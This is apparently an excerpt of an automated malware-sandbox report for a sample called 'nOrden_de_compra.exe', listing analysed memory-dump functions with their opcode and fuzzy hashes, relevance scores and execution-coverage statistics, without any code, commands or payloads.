Instruction Fuzzy Hash: B54147B1D05A588BE75CCF6B8D4078AFAF3BFC9201F14C1BAC84CA6254EB7049468F01

Uniqueness

Uniqueness Score: -1.00%

Function 07222C38 Relevance: .5, Instructions: 488COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116681816.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7220000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 259a608263f232af97f88bfbfe232fc77f4a205bc2b0d2ac682dd5071c34979a
Instruction ID: bb21be4567ddf0babd2581c504d6c897d2c54ee4a0aeaafe0d85605de5eaeec4
Opcode Fuzzy Hash: 259a608263f232af97f88bfbfe232fc77f4a205bc2b0d2ac682dd5071c34979a
Instruction Fuzzy Hash: 5CF1E4B5720226EFD719DB38C49462E7BE6BF85300B1644A9D806CB362CF75DC42EB91

Uniqueness

Uniqueness Score: -1.00%

Function 071E4710 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116654540.00000000071E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_71e0000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26afede9ce2864f6d317ec464165acb86905180ecab1ae9ba7b341d117483539
Instruction ID: 659500b4beee8c3c4472d6ceac738d2dc07a8e869ce21937ddc5c51d492879da
Opcode Fuzzy Hash: 26afede9ce2864f6d317ec464165acb86905180ecab1ae9ba7b341d117483539
Instruction Fuzzy Hash: 01E11CB4E006598FDB14DF99C590AAEFBF6BF89305F248269E814A7355C730AD42CF60

Uniqueness

Uniqueness Score: -1.00%

Function 071E2C00 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116654540.00000000071E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_71e0000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39e934ae780194398b55df070cdc083aeeb11229fef39fa5ed50c7d7a75999c4
Instruction ID: ed0a0ab43e27e713dc1cd92f65c954a4be38cff3e0a9db2078c9023919b4272f
Opcode Fuzzy Hash: 39e934ae780194398b55df070cdc083aeeb11229fef39fa5ed50c7d7a75999c4
Instruction Fuzzy Hash: 89E1FBB4E00A198FDB14DFA9C590AAEFBB6FF49304F248269D414A7355D730AD42CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 071E3470 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116654540.00000000071E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_71e0000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fcc9c0c3f9c6af90ee465c1e9688305f26f1c4c87b2899212aeff1e93f79d79
Instruction ID: 8cda29ffe9b7bb43fa029fddf8302c8fbd49fa7ba720b9248685f79483340a2c
Opcode Fuzzy Hash: 9fcc9c0c3f9c6af90ee465c1e9688305f26f1c4c87b2899212aeff1e93f79d79
Instruction Fuzzy Hash: 65E10CB4E006598FDB14DFA9C590AAEFBB6FF49304F248269D414AB355D730AD42CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 071E3038 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116654540.00000000071E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_71e0000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd93464c866f51ae1ba5b114ff8a16396751efaffdd4483700eff0a607e84ed0
Instruction ID: 95fc280a093c30adaec5ea02d1bafa01aa069bbf597ec898aa1aa24dc1996079
Opcode Fuzzy Hash: cd93464c866f51ae1ba5b114ff8a16396751efaffdd4483700eff0a607e84ed0
Instruction Fuzzy Hash: E7E11DB4E006598FDB14DFA9C590AAEFBB6FF89304F248159D414A7355D7309D42CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 071E50C0 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116654540.00000000071E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_71e0000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ed95fde67a2ad215722d4defc667b21a038adc7785ee99f8aa9c23affae24b1
Instruction ID: 0d3a8f72301bc4bf06c5ccff620ecf7782aec1040e9444f349b727a1ec56434e
Opcode Fuzzy Hash: 7ed95fde67a2ad215722d4defc667b21a038adc7785ee99f8aa9c23affae24b1
Instruction Fuzzy Hash: 2FE11BB4E00619CFDB14DF98C590AAEFBB6BF49305F248169D414AB356D730AD42CF60

Uniqueness

Uniqueness Score: -1.00%

Function 071EB438 Relevance: .3, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116654540.00000000071E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_71e0000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c422e4ccb670e9b2800b106f7973eb6256bbaa310cd0ce2a1083585a5239f02c
Instruction ID: b56c412c5d29aff41b569f8030b1013fab5717a3812edb47b94ece8ee2f85585
Opcode Fuzzy Hash: c422e4ccb670e9b2800b106f7973eb6256bbaa310cd0ce2a1083585a5239f02c
Instruction Fuzzy Hash: 24D1E5B4A04605CFDB18DF69C598EA9B7F5BF4D300F2580A8E506AB3A1DB31AD45CF60

Uniqueness

Uniqueness Score: -1.00%

Function 050ED57C Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2115115847.00000000050E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_50e0000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd3127013eb343a4dfb67b47c3111817420e66e009b9edce0b0e0bb8569ced35
Instruction ID: dde1212940092d9758500d6058fcde45268bf71eb278b20f537c831e6fd91b4d
Opcode Fuzzy Hash: bd3127013eb343a4dfb67b47c3111817420e66e009b9edce0b0e0bb8569ced35
Instruction Fuzzy Hash: 31A17332E1020A8FCF05DFB4D9845DEBBB2FF85300B2585AAE905AB265DB71D945CF40

Uniqueness

Uniqueness Score: -1.00%

Function 07223DD1 Relevance: .2, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116681816.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7220000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd65514dde86f62ed3e332708eb83a2c1495872b90e454e91d13623753958a12
Instruction ID: 09dc2f95999633cefd8802e1437bb1578df0ee2f40926200b4eefe214b18db87
Opcode Fuzzy Hash: dd65514dde86f62ed3e332708eb83a2c1495872b90e454e91d13623753958a12
Instruction Fuzzy Hash: 10611974E116098BD748EF7AE84569ABFF2BBC8304F14D129D908E7258EF746946CF40

Uniqueness

Uniqueness Score: -1.00%

Function 07223DE0 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116681816.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7220000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b7cce92848357c7302a0804bec77ccbb9f40ae447629bffbc9a1732b712a782
Instruction ID: 9f03846cc0e8120cee7d92156a65bc001b4b30b90d0e1b50cec8090cd158ce38
Opcode Fuzzy Hash: 8b7cce92848357c7302a0804bec77ccbb9f40ae447629bffbc9a1732b712a782
Instruction Fuzzy Hash: 9D610974A116098FD748EF7AE84469ABFF2BBC8304F14D529D808A7258EF746846CF40

Uniqueness

Uniqueness Score: -1.00%

Function 0722E9A8 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116681816.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7220000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b88267a5714c380670a18a90525443a7bda6557b6acd8d3afb25d1a4883d2fb
Instruction ID: 3ea3e977c7371494a268eac46606c53b3b5a509429c8d3a5e41f6b48fad49afe
Opcode Fuzzy Hash: 5b88267a5714c380670a18a90525443a7bda6557b6acd8d3afb25d1a4883d2fb
Instruction Fuzzy Hash: FC51E4B4E152299FCB04CFAAD5849AEFBF2FF88300F25D166D418A7215D730A942DF90

Uniqueness

Uniqueness Score: -1.00%

Function 071E46FF Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116654540.00000000071E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_71e0000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbe83aa06a7d34ad233747ca8b9ae041226cb47cde2832b5c0db53c0f11f4cd5
Instruction ID: 762e7ad017a8c3612841cd6cda5581cf23bc314d544d1c1e3fc6411f2a844001
Opcode Fuzzy Hash: cbe83aa06a7d34ad233747ca8b9ae041226cb47cde2832b5c0db53c0f11f4cd5
Instruction Fuzzy Hash: 56515DB4E006598FDB14CFA9C5805AEFBF2FF89304F248169D418A7256D7309D42CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 071E3028 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116654540.00000000071E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_71e0000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91b1db1726fab08a765c7e3c26c0475bfb52a11de5c7ab98364177fbf3ecec04
Instruction ID: 54428d72cd2c7025e8e32c475bcff07a2097f3e1545a8d1d82953311cae27c62
Opcode Fuzzy Hash: 91b1db1726fab08a765c7e3c26c0475bfb52a11de5c7ab98364177fbf3ecec04
Instruction Fuzzy Hash: 06512BB4E006598FDB15CFA9C9805AEFBF6FF89304F24816AD418A7356D7309942CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 071E3460 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116654540.00000000071E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_71e0000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7d959b89fed2f6416c05884e2557852416b287c3c006c168afd320396081425
Instruction ID: 3742ecc5d97835a554117428689740c2ae3fc056a61d14680afa9b0e8ee50c0f
Opcode Fuzzy Hash: d7d959b89fed2f6416c05884e2557852416b287c3c006c168afd320396081425
Instruction Fuzzy Hash: 435109B4E006198FDB14CFA9C5806AEFBF6BF89304F248169D418A7356D7319942CFA1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: nOrden_de_compra.exePID: 1460, Parent PID: 5724COMMON

Execution Graph

Execution Coverage:	12%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	31
Total number of Limit Nodes:	4

Executed Functions

Function 06B855E0 Relevance: 1.8, Strings: 1, Instructions: 596
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$, xrefs: 06B85CE3

Memory Dump Source

Source File: 0000000A.00000002.4544956627.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: 9e3cd6d560a8f2f5d87acd3d2620952a72786a900edd26bba00e41f768ff9c65
Instruction ID: 732c78d1affc1f91bc424924b90ae8193ade156e73dbe2fd391e16dbac411761
Opcode Fuzzy Hash: 9e3cd6d560a8f2f5d87acd3d2620952a72786a900edd26bba00e41f768ff9c65
Instruction Fuzzy Hash: 9022C676E002199FDFA4EBA5C4806AEBBB2FF85310F2485A9D405EB395DB35DC41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 06B82340 Relevance: 1.0, Instructions: 1027COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4544956627.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 028061247b5679d60b310d967d51b754c967a6d3f728c51b88359629478c6dcd
Instruction ID: a145a8000b47db83b0169daaccee044124881047878d38b06bcbabdf7dbf7d94
Opcode Fuzzy Hash: 028061247b5679d60b310d967d51b754c967a6d3f728c51b88359629478c6dcd
Instruction Fuzzy Hash: 64922674A00204CFDB64EB68C584B6DBBF2EF45314F5494AAD409AB3A5DB35ED82CF90

Uniqueness

Uniqueness Score: -1.00%

Function 06B86628 Relevance: .8, Instructions: 818COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4544956627.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a06e12862a601ab44e0c8a9734cb8de1f4d40b8283c9adb4370f27ad9002f26
Instruction ID: 1d9530b50c264d834aa8bad6f104e87680db1fb95cd89ab107b056cafb6bee26
Opcode Fuzzy Hash: 4a06e12862a601ab44e0c8a9734cb8de1f4d40b8283c9adb4370f27ad9002f26
Instruction Fuzzy Hash: EF62A074B00215CFDB54EBA8D544BADB7B2EF88314F2495A9D806DB390EB75EC42CB90

Uniqueness

Uniqueness Score: -1.00%

Function 06B8C1F0 Relevance: .6, Instructions: 647
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.4544956627.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 240d7ba74366c4dd5ea625cd098cc9c137c060d1a7a47a0fe63efc56409d800a
Instruction ID: f7545bc5e9915c85b52389185a228daa4a19be49153416c5ce52d9652f0a133a
Opcode Fuzzy Hash: 240d7ba74366c4dd5ea625cd098cc9c137c060d1a7a47a0fe63efc56409d800a
Instruction Fuzzy Hash: 673293B4B002158FDF54EB69E890BAEBBB2FB88310F109569D505EB345DB35DC42CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 06B8B288 Relevance: .6, Instructions: 565COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4544956627.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9c2546b32d1f590ad546aa6561def9d4186ba66aca5fa1e082794031ba842ba
Instruction ID: 2b62bddc8d1fef4934124c143a846120248de6d61ad60529714ab856ad100a02
Opcode Fuzzy Hash: a9c2546b32d1f590ad546aa6561def9d4186ba66aca5fa1e082794031ba842ba
Instruction Fuzzy Hash: AA2251B0E102098FEF64EBB8D5907AEBBB2FB85310F249565E405EB391DA35DC81CB51

Uniqueness

Uniqueness Score: -1.00%

Function 06B83090 Relevance: .6, Instructions: 553
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.4544956627.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45b18d30514bc63606cfa318ac5f2a69b15cece22730b2d1f4cbb476c4995da2
Instruction ID: 4840790ac2314481335b71d820b39b577d1b102f4f32808f32b61780aebf17f2
Opcode Fuzzy Hash: 45b18d30514bc63606cfa318ac5f2a69b15cece22730b2d1f4cbb476c4995da2
Instruction Fuzzy Hash: 7B323D34E1061ACFCB54EBB5C85469DB7B2FFC9300F6096AAD509A7254EF70AD85CB80

Uniqueness

Uniqueness Score: -1.00%

Function 06B87DD8 Relevance: .5, Instructions: 475COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4544956627.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bcf61672bb33ac3440be7ab28666c927b9b66b1043fd4e6e5f3edf4bb090573
Instruction ID: 22f65f8a5beae2ec4b3720db09747e77d2405fd97074805a9db0e8eea900ff71
Opcode Fuzzy Hash: 9bcf61672bb33ac3440be7ab28666c927b9b66b1043fd4e6e5f3edf4bb090573
Instruction Fuzzy Hash: 0D029F70B01216CFDB58EF69D9507AEB7A2FF84304F648569D806AB394DB75EC42CB80

Uniqueness

Uniqueness Score: -1.00%

Function 02CDEC10 Relevance: 1.7, APIs: 1, Instructions: 165
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.4531066185.0000000002CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2cd0000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d293b6b4786dcb560467ab0082bb0e6d1195824091e496ca48f8f6abed6633b
Instruction ID: 3ad6e1e462e2ed7b0ef2374d8f622015f3458bab23f91142381ecc4704a0f50c
Opcode Fuzzy Hash: 2d293b6b4786dcb560467ab0082bb0e6d1195824091e496ca48f8f6abed6633b
Instruction Fuzzy Hash: 22518332D047989FCB14EFB9D8043DEBBF5AFC9210F04856AE609AB241DB749841CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 02CDECF8 Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNELBASE ref: 02CDED5F

Memory Dump Source

Source File: 0000000A.00000002.4531066185.0000000002CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2cd0000_nOrden_de_compra.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 204fecea2164ab4dc5c4ebb876877f14390a7c6c0186df4f814d80b01964ca08
Instruction ID: 8031d2f270f5ee4751dfd3655e2ed3ca2ee0d3d3be5281730ad173f8666913fd
Opcode Fuzzy Hash: 204fecea2164ab4dc5c4ebb876877f14390a7c6c0186df4f814d80b01964ca08
Instruction Fuzzy Hash: 8B1112B1C0065A9BDB10DF9AC544B9EFBF4AF48720F10816AD918B7240D778A950CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06B8CFB8 Relevance: .8, Instructions: 802
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.4544956627.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9221e8bff612e56abd574a4d4422e89caeaf6fc47181af66e31d188b2749c526
Instruction ID: 1591802004384a4518dbbfffbb48e50490fc69457b3c0104632ac78baf8d352c
Opcode Fuzzy Hash: 9221e8bff612e56abd574a4d4422e89caeaf6fc47181af66e31d188b2749c526
Instruction Fuzzy Hash: B8627D30A0021ACFDB55EB69D980A5EB7B2FF85310B209A6DD1059F399DF75EC46CB80

Uniqueness

Uniqueness Score: -1.00%

Function 06B8B6A8 Relevance: .5, Instructions: 471COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4544956627.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1803b0a8e71c4a6cb2523c5a61b119923ca196702c3a4696f57132296ed10dd
Instruction ID: d04e7bf30828d4bdbd92a2f16912d571d9ffd2767218d05033a53fdbba55db15
Opcode Fuzzy Hash: b1803b0a8e71c4a6cb2523c5a61b119923ca196702c3a4696f57132296ed10dd
Instruction Fuzzy Hash: FD026DB0E0020ADFDB64EFA8D480AADB7B1FB85310F1495AAE415EB351DB75EC41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06B8AD30 Relevance: .4, Instructions: 395COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4544956627.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa1df290654943385ffe4e4bbc0dd0c089e69639f3854706299df6e6110e1744
Instruction ID: 95007950bbaed14a6c3c56c8f284b02a6d1ab73d1068dc3770ac121f51857e87
Opcode Fuzzy Hash: aa1df290654943385ffe4e4bbc0dd0c089e69639f3854706299df6e6110e1744
Instruction Fuzzy Hash: 8DE17F70E10216CFDB69EB69D4806AEBBB2FF85300F20956AD505EB344DB75DC46CB90

Uniqueness

Uniqueness Score: -1.00%

Function 06B891B0 Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4544956627.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ceade4e5c494be303a01582862f2d3e2c7ffcaba14616d6e787aa6645a127e8
Instruction ID: 441fcea9c35a944a983a96b2dd550430fd2826ff4250c588a4159815ba34d554
Opcode Fuzzy Hash: 0ceade4e5c494be303a01582862f2d3e2c7ffcaba14616d6e787aa6645a127e8
Instruction Fuzzy Hash: 3B913E70B0021A8FDB54EF69D9507AEB7B2FF89600F1085A9D809EB384EB75DD41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 06B86220 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4544956627.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2afe8271c85f66d812bae1e62c8e66f17acdfe92c7c1f036f47a07170978e8c
Instruction ID: 03c79983da8dcaca911c6ad8bdf744bb322f0398296db3a9579fb96ddebcbaa9
Opcode Fuzzy Hash: e2afe8271c85f66d812bae1e62c8e66f17acdfe92c7c1f036f47a07170978e8c
Instruction Fuzzy Hash: 4661A3B1F000214FDF54AA6EC854A5FBADBEFC4610B154479D80ADB3A0EEA9DD02CB85

Uniqueness

Uniqueness Score: -1.00%

Function 06B842D9 Relevance: .2, Instructions: 224COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4544956627.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c270bd9cda8b221b2422d07f07b9df9537c89484b52d85d0eea93aeadb4f4264
Instruction ID: 9fdf47b3096455516f5e7676c827f1c08d18862e1dc8aab9cc6a65ee4b20a609
Opcode Fuzzy Hash: c270bd9cda8b221b2422d07f07b9df9537c89484b52d85d0eea93aeadb4f4264
Instruction Fuzzy Hash: C3812A70B012068FDF54EBA9D4507AEB7E2EF89701F108569D90AEB384EA75DC42CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06B845F8 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4544956627.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12bad54922db2e9e3f12767bb5a36f21a7f5591b1f9989aeb2f1818a8d402c3e
Instruction ID: 8710b3131391a51a02cf7300e714f1e848f5a40d4ea1d985886cf3c0e028cbbf
Opcode Fuzzy Hash: 12bad54922db2e9e3f12767bb5a36f21a7f5591b1f9989aeb2f1818a8d402c3e
Instruction Fuzzy Hash: 1D916070E1025A8FDF60DF68C85079DBBB1FF89310F208599D549AB385DB71AA85CF90

Uniqueness

Uniqueness Score: -1.00%

Function 06B84610 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4544956627.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 702adbaae42a295cdfbf94b592dcaa9a8c9ff394357c19f9db84e074d215acb3
Instruction ID: 9f20aaf9ed06339fb6f8f43706d431b32d2440a1f047cb58866802f507e1c14f
Opcode Fuzzy Hash: 702adbaae42a295cdfbf94b592dcaa9a8c9ff394357c19f9db84e074d215acb3
Instruction Fuzzy Hash: BD913C74E1021A8FDF64DF68C840B9DB7B1FF89310F208599D509AB385DB71AA85CF90

Uniqueness

Uniqueness Score: -1.00%

Function 06B8EF90 Relevance: .2, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4544956627.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd416c52a957e5779442a5ceda64e2cc6f37ef48b16a7666c00dcccf435fae27
Instruction ID: dbbe60367f7fcf77d1085ad8400352948893f0a179633c6ec0fff45687edb62c
Opcode Fuzzy Hash: cd416c52a957e5779442a5ceda64e2cc6f37ef48b16a7666c00dcccf435fae27
Instruction Fuzzy Hash: 26713CB0A002199FDB54EFA9D980AADBBF6FF84350F248569E415EB354DB30EC46CB50

Uniqueness

Uniqueness Score: -1.00%

Function 06B8EFA0 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4544956627.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 377ffef20263e8e5ea3c8d6740e072ca8a02077f7979e3e75a2762d0b67499b1
Instruction ID: 70ef67a5fe36fc18a88ecd0a8a6c8293b02ef6cc45fe7d0ac9bc4f84ac04197d
Opcode Fuzzy Hash: 377ffef20263e8e5ea3c8d6740e072ca8a02077f7979e3e75a2762d0b67499b1
Instruction Fuzzy Hash: 66713AB0A002199FDB54EFA9D980AADBBF6FF84340F248569D405EB354DB30EC46CB50

Uniqueness

Uniqueness Score: -1.00%

Function 06B84BA8 Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.4544956627.0000000006B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b80000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a33f61ef99f13a774fc3703eae506a497c7fd70a6df576b6f281c138204be33a
Instruction ID: ee160082237a2a8d8525427ad6330c08f64a6c7423598b664347585b43f666ad
Opcode Fuzzy Hash: a33f61ef99f13a774fc3703eae506a497c7fd70a6df576b6f281c138204be33a
Instruction Fuzzy Hash: 2D618070F002199FEF54AFA9C8547AEBBF6FB88700F208469D506AB394DE758C45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06B8FCF8 Relevance: .2, Instructions: 181COMMON

